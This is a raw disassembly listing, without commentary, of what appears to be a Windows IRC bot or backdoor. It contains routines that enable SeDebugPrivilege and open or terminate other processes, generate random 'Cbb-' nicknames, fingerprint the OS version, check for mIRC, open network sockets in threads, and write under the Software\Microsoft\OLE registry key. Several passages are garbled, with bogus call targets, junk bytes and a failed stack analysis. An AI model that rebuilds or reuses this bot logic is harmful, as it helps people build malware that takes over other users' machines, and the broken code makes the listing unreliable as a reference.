		sub	eax, 8CAh
		jz	short loc_413C94
		sub	eax, 17h
		jz	short loc_413C8D
		sub	eax, 25h
		jz	short loc_413C86
		sub	eax, 29h
		jz	short loc_413C7F


loc_413C78:				; CODE XREF: sub_413B77+35j
					; sub_413B77+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C7F:				; CODE XREF: sub_413B77+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C86:				; CODE XREF: sub_413B77+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C8D:				; CODE XREF: sub_413B77+C2j
					; sub_413B77+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C94:				; CODE XREF: sub_413B77+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_413C99:				; CODE XREF: sub_413B77+40j
					; sub_413B77+4Aj ...
		push	offset dword_468BF0
		call	sub_4154E9
		pop	ecx
		mov	eax, offset dword_468BF0
		pop	ecx
		retn
sub_413B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CAB	proc near		; CODE XREF: seg000:0040EF50p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179F9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 0A80000h
		push	ds
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4179F9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179DC
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	ds:dword_43A398
		test	eax, eax
		jnz	short loc_413D3B
		mov	esi, offset dword_4689EC
		push	offset dword_437408
		push	esi
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	short loc_413D64
; ---------------------------------------------------------------------------


loc_413D3B:				; CODE XREF: sub_413CAB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_413B77
		pop	ecx
		mov	esi, offset dword_4689EC
		push	eax
		push	offset dword_4373CC
		push	esi
		call	sub_4154E9
		add	esp, 14h


loc_413D64:				; CODE XREF: sub_413CAB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413CAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D69	proc near		; CODE XREF: sub_409DF3+7p
					; sub_413DD4+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 0A80000h
		mov	ch, 50h
		call	ds:dword_43A36C
		test	eax, eax
		jnz	short loc_413D88
		leave
		retn
; ---------------------------------------------------------------------------


loc_413D88:				; CODE XREF: sub_413D69+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_43A344
		test	eax, eax
		jz	short loc_413DC6
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_413DAF
		or	[ebp+var_8], 2
		jmp	short loc_413DB3
; ---------------------------------------------------------------------------


loc_413DAF:				; CODE XREF: sub_413D69+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_413DB3:				; CODE XREF: sub_413D69+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_43A3F4
		mov	esi, eax


loc_413DC6:				; CODE XREF: sub_413D69+32j
		push	[ebp+var_4]
		call	ds:dword_42106C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413D69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DD4	proc near		; CODE XREF: seg000:0041162Cp
					; sub_413F85+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_43A3A8, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_413F7E
		cmp	ds:dword_43A38C, ebx
		jz	loc_413F7E
		cmp	ds:dword_43A2A8, ebx
		jz	loc_413F7E
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D69
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_43A3A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_413F71
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43A38C
		mov	esi, ds:dword_42106C
		test	eax, eax
		jz	loc_413F6C


loc_413E77:				; CODE XREF: sub_413DD4+BEj
					; sub_413DD4+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43A2A8
		test	eax, eax
		jz	loc_413F6C
		cmp	[ebp+arg_10], ebx
		jnz	short loc_413E77
		cmp	[ebp+arg_C], ebx
		jnz	loc_413F24
		cmp	[ebp+arg_4], ebx
		jz	short loc_413E77
		push	[ebp+var_124]
		push	8
		call	ds:dword_43A3A8
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_413EE1
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	ds:dword_43A254
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_413EE7
		lea	eax, [ebp+var_230]
		jmp	short loc_413EED
; ---------------------------------------------------------------------------


loc_413EE1:				; CODE XREF: sub_413DD4+EBj
		push	[ebp+var_124]


loc_413EE7:				; CODE XREF: sub_413DD4+103j
		lea	eax, [ebp+var_108]


loc_413EED:				; CODE XREF: sub_413DD4+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4154E9
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h
		push	edi
		call	esi ; dword_42106C
		jmp	loc_413E77
; ---------------------------------------------------------------------------


loc_413F24:				; CODE XREF: sub_413DD4+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413E77
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	near ptr 0A80000h


loc_413F4E:				; CODE XREF: sub_413DD4+17Cj
		or	edi, edi
		jnz	short loc_413F4E
		mov	edi, eax
		call	esi ; dword_42106C
		push	ebx
		push	edi
		call	near ptr 0A80000h
		test	ax, ax
		jnz	short loc_413F67
		push	edi
		call	esi ; dword_42106C
		jmp	short loc_413F7E
; ---------------------------------------------------------------------------


loc_413F67:				; CODE XREF: sub_413DD4+18Cj
		push	1
		pop	eax
		jmp	short loc_413F80
; ---------------------------------------------------------------------------


loc_413F6C:				; CODE XREF: sub_413DD4+9Dj
					; sub_413DD4+B5j
		push	[ebp+var_4]
		call	esi ; dword_42106C


loc_413F71:				; CODE XREF: sub_413DD4+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D69
		pop	ecx
		pop	ecx


loc_413F7E:				; CODE XREF: sub_413DD4+3Aj
					; sub_413DD4+46j ...
		xor	eax, eax


loc_413F80:				; CODE XREF: sub_413DD4+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F85	proc near		; DATA XREF: seg000:004121E4o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_4374D8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154E9
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413FE4
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D4E
		add	esp, 14h


loc_413FE4:				; CODE XREF: sub_413F85+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_413DD4
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41400C
		push	offset dword_43749C
		jmp	short loc_414011
; ---------------------------------------------------------------------------


loc_41400C:				; CODE XREF: sub_413F85+7Ej
		push	offset dword_437464


loc_414011:				; CODE XREF: sub_413F85+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154E9
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_414044
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D4E
		add	esp, 14h


loc_414044:				; CODE XREF: sub_413F85+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40B16D
		push	[ebp+var_14]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A80000h
		pop	di
		pop	esi
sub_413F85	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414063	proc near		; CODE XREF: seg000:004115CEp
					; sub_4150D0+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 0A80000h
		dec	edi
		mov	esi, eax
		test	esi, esi
		jz	short loc_414095
		push	0
		push	esi
		call	near ptr 0A80000h
		mov	ecx, 975C085h
		push	esi
		xor	edi, edi
		call	ds:dword_42106C	; CloseHandle


loc_414095:				; CODE XREF: sub_414063+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_414063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41409A	proc near		; CODE XREF: sub_4036D4+Ap
					; sub_403C8B+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_415545
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_421668
		call	sub_415F8C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41409A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140CA	proc near		; CODE XREF: sub_414435+49p
					; DATA XREF: seg002:off_437520o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41553B
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aCbb ; "Cbb-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42C188, esi
		jle	short loc_414123


loc_4140FD:				; CODE XREF: sub_4140CA+57j
		call	sub_415545
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437574
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C188
		jl	short loc_4140FD


loc_414123:				; CODE XREF: sub_4140CA+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4140CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414128	proc near		; CODE XREF: seg000:00410BA1p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41553B
		pop	ecx
		call	sub_415545
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_42C188
		test	esi, esi
		jle	short loc_41416B


loc_414155:				; CODE XREF: sub_414128+41j
		call	sub_415545
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_414155


loc_41416B:				; CODE XREF: sub_414128+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_414128	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41553B
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_43757C
		push	eax
		push	esi
		call	near ptr 0A80000h
		movsb
		movsx	eax, ds:byte_43757C
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_4141B1:				; CODE XREF: seg000:004141BCj
		cmp	eax, ecx
		jnz	short loc_4141B8
		mov	[ebp-4], edx


loc_4141B8:				; CODE XREF: seg000:004141B3j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_4141B1
		push	61h
		pop	ecx


loc_4141C1:				; CODE XREF: seg000:004141CCj
		cmp	eax, ecx
		jnz	short loc_4141C8
		mov	[ebp-4], edx


loc_4141C8:				; CODE XREF: seg000:004141C3j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4141C1
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_42C188, esi
		jle	short loc_41420D


loc_4141E7:				; CODE XREF: seg000:0041420Bj
		call	sub_415545
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437574
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C188
		jl	short loc_4141E7


loc_41420D:				; CODE XREF: seg000:004141E5j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41553B
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_421144	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437580
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42C188, esi
		jle	short loc_414282


loc_41425C:				; CODE XREF: seg000:00414280j
		call	sub_415545
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437574
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C188
		jl	short loc_41425C


loc_414282:				; CODE XREF: seg000:0041425Aj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_438FAC
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_42110C	; GetVersionExA
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41553B
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_41430C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4142EC
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4142DC
		mov	esi, offset a95	; "95"


loc_4142DC:				; CODE XREF: seg000:004142D5j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_414348
		mov	esi, offset aNt	; "NT"
		jmp	short loc_414348
; ---------------------------------------------------------------------------


loc_4142EC:				; CODE XREF: seg000:004142CCj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4142FC
		mov	esi, offset a98	; "98"
		jmp	short loc_414348
; ---------------------------------------------------------------------------


loc_4142FC:				; CODE XREF: seg000:004142F3j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_414343
		mov	esi, offset aMe	; "ME"
		jmp	short loc_414348
; ---------------------------------------------------------------------------


loc_41430C:				; CODE XREF: seg000:004142C3j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_414343
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_414325
		mov	esi, offset a2k	; "2K"
		jmp	short loc_414348
; ---------------------------------------------------------------------------


loc_414325:				; CODE XREF: seg000:0041431Cj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_414335
		mov	esi, offset aXp	; "XP"
		jmp	short loc_414348
; ---------------------------------------------------------------------------


loc_414335:				; CODE XREF: seg000:0041432Cj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43758C
		jz	short loc_414348


loc_414343:				; CODE XREF: seg000:00414303j
					; seg000:00414313j
		mov	esi, offset dword_42B7B8


loc_414348:				; CODE XREF: seg000:004142E3j
					; seg000:004142EAj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_437584
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42C188, esi
		jle	short loc_41438C


loc_414366:				; CODE XREF: seg000:0041438Aj
		call	sub_415545
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437574
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C188
		jl	short loc_414366


loc_41438C:				; CODE XREF: seg000:00414364j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414392	proc near		; CODE XREF: sub_414435+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_4143E1
		call	ds:dword_43A394
		test	eax, eax
		mov	eax, offset dword_437598
		jnz	short loc_4143CA
		mov	eax, offset byte_438FAC


loc_4143CA:				; CODE XREF: sub_414392+31j
		push	eax
		push	esi
		push	offset dword_437590
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	short loc_414401
; ---------------------------------------------------------------------------


loc_4143E1:				; CODE XREF: sub_414392+22j
		call	ds:dword_43A394
		test	eax, eax
		mov	eax, offset dword_437598
		jnz	short loc_4143F5
		mov	eax, offset byte_438FAC


loc_4143F5:				; CODE XREF: sub_414392+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_414401:				; CODE XREF: sub_414392+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CF0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_414430
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416F10
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		add	esp, 18h


loc_414430:				; CODE XREF: sub_414392+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_414392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414435	proc near		; CODE XREF: sub_40CB75+7Fp
					; sub_40CCDD+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43751C


loc_414441:				; CODE XREF: sub_414435+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_41445C
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_415910
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_414466
; ---------------------------------------------------------------------------


loc_41445C:				; CODE XREF: sub_414435+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_414466:				; CODE XREF: sub_414435+25j
		test	eax, eax
		jnz	short loc_414478
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_437580
		jl	short loc_414441
		jmp	short loc_414486
; ---------------------------------------------------------------------------


loc_414478:				; CODE XREF: sub_414435+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_437520[eax*4]
		pop	ecx


loc_414486:				; CODE XREF: sub_414435+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_414499
		push	[ebp+arg_0]
		call	sub_414392
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414499:				; CODE XREF: sub_414435+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_414435	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41449E	proc near		; DATA XREF: sub_41456B+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	ds:dword_43A388
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_43A408
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41455C
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A330
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_43F524[ecx], esi
		jz	short loc_41455C
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_43A414
		push	eax
		mov	edi, offset dword_469254
		push	offset unk_43759C
		push	edi
		call	sub_4154E9
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_412D4E
		push	edi
		call	sub_40B16D
		add	esp, 28h


loc_41455C:				; CODE XREF: sub_41449E+5Dj
					; sub_41449E+7Ej
		push	esi
		call	ds:dword_43A420
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_41449E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41456B	proc near		; DATA XREF: seg000:00410304o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_421060
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_414599:				; CODE XREF: sub_41456B+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_4375D8
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43F318
		push	eax
		call	sub_416D40
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_41449E
		push	edi
		push	edi
		call	ds:dword_42108C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_414605


loc_4145FA:				; CODE XREF: sub_41456B+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_414605
		push	32h
		call	esi ; dword_421060
		jmp	short loc_4145FA
; ---------------------------------------------------------------------------


loc_414605:				; CODE XREF: sub_41456B+8Dj
					; sub_41456B+92j
		push	[ebp+var_4]
		call	ds:dword_42106C	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi ; dword_421060
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_43A2BC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_43A384
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		jmp	loc_414599
sub_41456B	endp

; ---------------------------------------------------------------------------


loc_41465C:				; DATA XREF: seg000:00412800o
		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-98h]
		rep movsd
		pop	edi
		pop	esi
		push	dword ptr [ebp-8]
		cmp	dword ptr [ebp-10h], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp-94h]
		push	dword ptr [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-98h]
		jz	short loc_4146A3
		call	sub_4146BC
		jmp	short loc_4146A8
; ---------------------------------------------------------------------------


loc_4146A3:				; CODE XREF: seg000:0041469Aj
		call	sub_4149E0


loc_4146A8:				; CODE XREF: seg000:004146A1j
		add	esp, 10h
		push	dword ptr [ebp-14h]
		call	sub_4152B1
		pop	ecx
		push	0
		call	near ptr 0A80000h
; ---------------------------------------------------------------------------
		db 8Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146BC	proc near		; CODE XREF: seg000:0041469Cp

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_43A458, edi
		jnz	loc_4147EE
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43A3F8
		test	eax, eax
		jnz	short loc_414747
		mov	ax, ds:word_4379C0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
